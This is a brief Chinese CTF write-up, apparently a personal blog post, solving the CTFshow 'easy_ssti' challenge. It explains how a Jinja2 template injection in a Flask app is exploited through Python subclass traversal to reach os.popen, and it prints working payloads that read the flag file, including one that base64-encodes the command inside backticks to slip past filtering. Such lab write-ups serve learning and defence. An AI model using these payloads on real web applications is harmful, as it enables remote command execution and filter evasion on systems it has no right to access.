CTFSHOW愚人杯easy_ssti
本文记录自己的第一次SSTI成功案例。(很菜,轻喷😭)
打开靶机后没有看到有用的提示,看一下源码。
发现有一个压缩包,下载下来看看。
是flask的模板,分析一下源码应该就是在/hello目录下有SSTI注入的漏洞。
进入hello目录下并照常走一下判断流程,发现应该是jinja2的模板。
放张老图
找一下object
再看看有什么类能用的
找catch_warnings,因为catch_warning是function具有__globals__
然后再通过__globals__里的builtins的__import__来getshell
os库中可以调用popen函数执行命令,再read读取到页面上。
在页面上查catch_warning的位置,再查class的位置就能大概查到是第几个类了。
用ls查了一下当前目录,app.py 里也没啥有用信息,和压缩包里是一样的。
接下来看看templates
发现也是没什么东西。
那就直接根目录查flag吧。
{{''.__class__.__bases__[0].__subclasses__()[213].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /f*').read()}}发现not found了
猜测了一下,应该是将语句中的”/“当成目录了。
那就试试base64+管道符绕过
“cat /f*”==”Y2F0IC9mKg==”
{{''.__class__.__bases__[0].__subclasses__()[213].__init__.__globals__['__builtins__']['__import__']('os').popen('`echo Y2F0IC9mKg== | base64 -d`').read()}}成功拿到flag。
注意要包一层反引号(命令执行),不然会被当做字符串echo出来。
另外这道题刚开始的源码那块对”f”和”ge”进行了处理,我不知道在其他思路里会不会卡住,我试了下可以在语句的最后直接加上”ge”绕过。
CTFSHOW愚人杯easy_ssti
http://example.com/2023/04/02/problem1/